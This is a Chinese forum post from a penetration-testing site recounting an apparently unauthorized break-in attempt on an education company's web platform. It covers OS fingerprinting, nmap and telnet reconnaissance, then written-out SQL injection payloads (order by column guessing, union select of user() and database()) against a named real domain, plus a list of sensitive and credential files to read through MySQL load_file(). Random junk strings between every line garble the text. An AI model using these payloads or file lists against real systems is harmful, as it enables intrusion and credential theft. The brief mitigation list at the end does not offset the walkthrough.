中国网络渗透测试联盟
标题:
记一次Linux系统PHP注入入侵检测
[打印本页]
作者:
admin
时间:
2013-2-16 22:23
标题:
记一次Linux系统PHP注入入侵检测
题记:
8 U& B8 h1 }% M# v: J7 G
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
9 D7 h9 y& \( o1 w+ ?
第一步:获取需要的信息
4 Z- h/ {! M0 ?/ |& d7 A0 E' x8 |
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
8 V5 c* `. o1 i1 u# e4 R9 t
注:以下为保护特用XXX代替敏感信息
. R8 N2 }( r9 G" g( ?3 X- T
顺手先PING了一下他们的域名:
V, D$ j D( P0 G) V
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
0 k% y V. }$ I: m( L& v( y
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
4 h/ @& Y) [7 ` }# P, u# |
顺便了解一下TTL,学好基础知识才能一路顺风:
' x; l& i6 t5 i) u c# O4 y* O
TTL:(Time To Live ) 生存时间
2 U" O, }; w( m0 ?/ L6 t4 T0 b# ~9 ^7 Y
指定数据包被路由器丢弃之前允许通过的网段数量。
$ s) u ^( Y2 A( V" ^. x
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
7 u+ E) Y6 o# x- p9 \' }+ _
使用PING时涉及到的 ICMP 报文类型
& I7 q* o( G% d9 R2 c; M
一个为ICMP请求回显(ICMP Echo Request)
9 u7 b& q( W; v& L$ h$ e2 Q/ Y! S
一个为ICMP回显应答(ICMP Echo Reply)
2 G3 X& B6 }4 w ` P7 z3 }, Z( T
TTL 字段值可以帮助我们识别操作系统类型。
5 \7 d" n( k/ a0 C. B6 l9 a
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
" [; m1 ~' z% g8 d& ^
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
( G* T* A) j+ M/ d K0 ]% C
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
) V9 v% g7 ]9 j7 d# G
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
. x9 d1 H9 m1 F, ]* m
当然,返回的TTL值是相同的
5 @+ W, Q$ ~* g2 Y; d& v# b, }* ]
但有些情况下有所特殊
0 E. k$ o3 p- v9 z
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
5 b" A8 ~, t) W) d/ P( o
FreeBSD 4.1, 4.0, 3.4;
3 C Q6 y$ Z4 m1 _0 [& j
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
# x% L4 L% g( B. \
OpenBSD 2.6, 2.7,
q: B6 U# Z; S# |+ s& q* Z3 C; u$ S
NetBSD
\$ t8 K: g+ m) A& O6 I5 w4 a- w
HP UX 10.20
4 d: s8 U! i+ l% h
ICMP 回显应答的 TTL 字段值为 255
5 b$ f+ f, A# m2 S% h
Windows 95/98/98SE
j& V! k9 f' m. F! e& L9 O2 H
Windows ME
" O8 p& l0 V. s& e5 }% C4 k) J0 s
ICMP 回显应答的 TTL 字段值为 32
9 S4 o% ?- d$ T: ~" @) A2 Y
Windows NT4 WRKS
: U+ M; g3 J& D0 @" G, H& Z* X
Windows NT4 Server
- z1 ?1 s" W8 Y D, Z7 j
Windows 2000
9 Q' N. {0 W2 Q- T3 h# v7 x0 c
Windows XP
3 C- o( s+ q: U% S+ J8 b k
ICMP 回显应答的 TTL 字段值为 128
; J+ J W/ Z! s" r: L9 p1 P1 _
这样,我们就可以通过这种方法来辨别操作系统
8 H H* S, p( R0 y9 `1 n
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
* S7 I) f! o# P: L
用NMAP扫描一下:
5 q/ @/ [: ~$ O
nmap -sT -O XXX.XXX.XXX.XXX
8 g6 y! U& Y/ P' s5 [) Y- [
如果没有装WinPcap则会弹出提示:
/ v+ j& h ~, g8 I4 I
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
7 |- H4 T* L% S$ b- V
ade to version 3.1 or higher from
http://www.winpcap.org.
Resorting to connect(
0 d' r' R/ @' m
) mode — Nmap may not function completely
5 ]$ O2 `: O! ^: A2 t# P
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
) l& Y4 f! `9 w* N$ I4 G. p0 U
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
: v" d3 a2 c$ a
pcap is available from
http://www.winpcap.org.
iphlpapi.dll comes with Win98 an
8 | K# G# F2 E
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v
" K7 K/ E; j% a" \" e! N
ersions, you may be able to take iphlpapi.dll from another system and place it i
. D2 [# B- o1 l q( c
n your system32 dir (e.g. c:\windows\system32).
5 R+ f# V0 f; s9 e/ C+ o
QUITTING!
" P! r2 ~ q- M: Q) M% `0 J
到这里下载:
http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
0 p3 C3 C1 B" R6 m# b
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
6 H! F% Q5 }; a [. H, k) {& r+ ]
Interesting ports on XXX.XXX.XXX.XXX:
4 c4 K7 l4 ]8 M& C6 I
Not shown: 986 closed ports
7 ]2 e+ h- u5 V. `" q" e5 D2 h
PORT STATE SERVICE
( o% n4 @. Z g& `: w
21/tcp open ftp
$ p, J) u# \5 t- O. e
22/tcp open ssh
8 s' C6 Z; _) x1 f. H, P; }2 p
23/tcp open telnet
5 x. E+ q1 n0 A! N; i
80/tcp open http
! _, h2 W* e1 R! l& v' B. V% C" }& Q
111/tcp open rpcbind
4 c! O/ R: a4 e+ l
135/tcp filtered msrpc
$ B3 W7 ]8 c5 Q9 s4 g
139/tcp filtered netbios-ssn
$ s0 T1 S, u, h
445/tcp filtered microsoft-ds
0 Q9 Y) a* T1 Q
513/tcp open login
4 N, @* N# h a4 w; |
514/tcp open shell
9 _# m2 L0 |! B$ W
593/tcp filtered http-rpc-epmap
, c% ?) }7 W0 W) h! A
1720/tcp filtered H.323/Q.931
6 C2 e7 T" F4 x0 g; V2 o
3306/tcp open mysql
: I/ M* }8 D: v. D- T0 i R/ Z9 B' @9 u
4444/tcp filtered krb524
! j$ h2 b; l$ q1 W- q
Device type: WAP
- r# h6 V" \0 e: V6 z5 D* M/ E
Running: Linux 2.4.X
- A2 d/ u: @0 V+ N' `
OS details: DD-WRT (Linux 2.4.35s)
" v( N/ R" D, l* N1 l/ b
Network Distance: 13 hops
; m% k: c4 H3 H
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
, W' @ W7 D; B7 ?& G# k
login as:
8 ]. l4 l7 K5 T# w, X
Telnet23端口也是开着的,用telnet 命令链接一下:
2 k$ m9 R& i- {/ Q$ |/ N
telnet XXX.XXX.XXX.XXX
, k. O0 ~" a5 b* I8 S$ j% i
提示:
+ r( Y0 P$ `4 I! Q# p" H# g# Q
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
3 z! k, a, T" C, n( d6 o
Kernel 2.6.18-92.el5PAE on an i686
s0 k4 Y# E: P0 e4 f
login:
4 L% J0 H: b4 t7 N+ S
获取HTTP头信息:
0 S" [% c5 C* A5 |
在本地执行如下PHP代码
" `" x" O [- d* F" L' f, H( m
<?php
# L1 d' ^6 j: Y/ h* W" W5 V+ g! d$ l
$url = ‘XXX.XXX.XXX.XXX’;
9 v L# r1 F3 ~1 G4 d3 p6 I. m" x
print_r(get_headers($url));
5 G3 V$ X6 m( @% Z
print_r(get_headers($url, 1));
$ q$ n( A2 \; ~$ x$ s
?>
* n, M n& V" i0 [# `. w; H* p
将以上代码保存为PHP文件,执行:
# E$ W4 @0 y1 _& S
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
3 w" w2 P3 x* N2 Y* A7 p
现在可以得出结论:
( l! o; N6 u& A W8 P/ X8 [
系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
7 }; G+ S% U! J8 z9 m
内核版本:Kernel 2.6.18-92.el5PAE on an i686
& |; L7 A3 O: Q1 |+ b
WEB服务器版本:nginx/0.7.61
y! V X+ s, {2 S" f; W$ r" W/ U, J
第二步,开始测试寻找漏洞
0 \5 d2 v1 [4 o) \" o5 J# c! K
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
$ A N- V' z7 ?% g' G- D. ?: H4 ~
1、敏感地址:站内存在有类似:
http://www.fovweb.com/XXX.php?id=123
这种地址,属动态传参的
' @/ H7 v" Y& P
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
) Q2 {% u$ N$ n) h2 s7 P4 n
http://www.fovweb.com/XXX.php?id=123
and 1=1 返回正常
& _* j6 k7 E+ A' J( d: T' s8 K+ c& C
http://www.fovweb.com/XXX.php?id=123
and 1=2 返回错误
3 W5 T9 n6 @2 ^! x: F1 o
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
% Y7 ?/ M# c$ q, V# e. _
3、手工注入:
( o+ D0 f! Z, H
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
' F! |/ T4 L2 E/ o& x) S
3.1 猜测当前表字段数
# ^2 S. a2 W, d" t3 ~
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 10
) q& v9 k% O, \0 T# a! b
此处猜测有个简单的算法,都是有技巧的吗,呵呵
) B# y" Z8 M! d, W/ B) `1 S8 M' r
算法简单如下:
5 d! h& y4 G- \$ H# j6 j" M
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
+ s. l# Z9 q! |- G5 P
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
0 P' R; }' g1 H8 m# p0 i! x$ D7 L
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
m& K, H; v1 J: z, n9 u
以此来判断,是否过界,配合取中算法猜出字段数。
0 B9 @" Q6 A& E. u; o+ C
举例:
, \$ S4 e+ E5 R5 f4 b5 q
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 3 返回正常
: j e) u; v" u% Q, [
http://www.fovweb.com/XXX.php?id=123
and 1=1 order by 4 返回错误
, _4 G& H* \1 ^. ~+ R3 _
此时3则为我们要找的字段数。
6 y. S" G6 `9 @$ {! c
3.2 配合union联合查询字段在页面所位置
# O' \5 R9 W8 Z: F, n6 ~/ }
我们已经知道了字段数为3,此时则可以做如下操作:
' i8 }) Q2 @! V7 A6 F0 m
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,2,3
, L$ G5 H6 k" _
0 C ?6 \& C+ l0 ]1 _% j$ P
这样就可以测试到哪些字段在页面上有所显示了,如图:
# y( i A0 n" P
* W% _* M( ?7 u1 m4 n2 y- D, o
3.3 查敏感信息
1 G5 I4 y1 |' H# ]4 A* I
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
& R+ z! f- _1 f, n2 s2 ]
http://www.fovweb.com/XXX.php?id=123
and 1=2 union select 1,user(),database()
! L% k% l- m3 m4 U/ h6 X
3.3.1 先查数据库用户、数据库名,以备后用,如图:
8 l# B6 x9 q& F& F. E
4 T; W) G- [4 m) y
得到数据库用户为root、数据库名为DBxx;
, w4 L( A9 N! \
3.3.2 查配置文件
7 R& I( [1 x+ Q$ S; G7 f
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
9 `( Z f8 e3 T9 n# e5 p
查看文件有一定的条件限制:
) r0 R! L9 {- M
欲读取文件必须在服务器上
; f1 ]; s* Y& D: N: ~& g) H
必须指定文件完整的路径
|4 ?' i: Y8 m5 @% Z. x. c
必须有权限读取并且文件必须完全可读
- f& m5 g5 m& K0 O
欲读取文件必须小于 max_allowed_packet
7 q! \6 {* T* f7 r( `3 d
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
& U! m4 j$ c |) _- P8 }, p* P
常用的一些:
+ i- f4 H; p4 C5 R4 R! g- V$ ~
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
4 ]3 K$ P- L$ c, c
/usr/local/apache2/conf/httpd.conf
0 I( F# N5 l" s& [) O; p( g5 ^& J
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 G+ P9 F" O) H0 w' D" k" n% V
/usr/local/app/php5/lib/php.ini //PHP相关设置
/ O) n6 M# D" A- U0 e6 _
/etc/sysconfig/iptables //从中得到防火墙规则策略
$ Q, s o/ `* c& W
/etc/httpd/conf/httpd.conf // apache配置文件
( ~; j' S* G4 C) S0 Q2 l' _
/etc/rsyncd.conf //同步程序配置文件
# x; B/ r0 W( w: j4 G2 q
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
$ Y; ?0 w' G2 C- E5 u% H. H% t
/etc/my.cnf //mysql的配置文件
; n# V; s; U" R* h& g
/etc/redhat-release //系统版本
* u2 B7 A/ ?" G, M: l+ _1 P
/etc/issue
7 k* x! _$ ~' g% b4 e8 n
/etc/issue.net
* [* T2 U; v% M4 O" x
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
! ?1 h. _% E3 ?9 |# j4 _2 E
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
0 O+ i5 {% Y' b$ h- Q3 t( b
c:\Program Files\Serv-U\ServUDaemon.ini
6 V$ I* f6 ~. H& ~3 r4 q8 V( _- W
c:\windows\my.ini //MYSQL配置文件
2 a, g7 d+ p" }; @0 l
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
4 _# ]$ }$ z7 D( B5 \; n1 a. Y
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,
5 M! q# `- q( x3 c
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
: x: _. Y& J M9 \+ ]& H1 q# y
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
8 Y$ X6 G2 Z" A
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
% l; G/ T9 u4 b1 M
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
% ^1 d s& X+ f d8 {9 R6 k
//存储了pcAnywhere的登陆密码
: Q; F! i5 D. S6 q
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
( }3 s% s, k2 ^6 p
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
+ R& |" e* n1 p
最后:防范措施
1 o [% E3 N& v1 d
1、修复PHP注入漏洞;
$ o# d' t9 y* \, p# E/ X
2、Mysql使用普通权限的用户;
% f+ a- ]5 A& U( {
3、升级linux内核至最新版本;
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2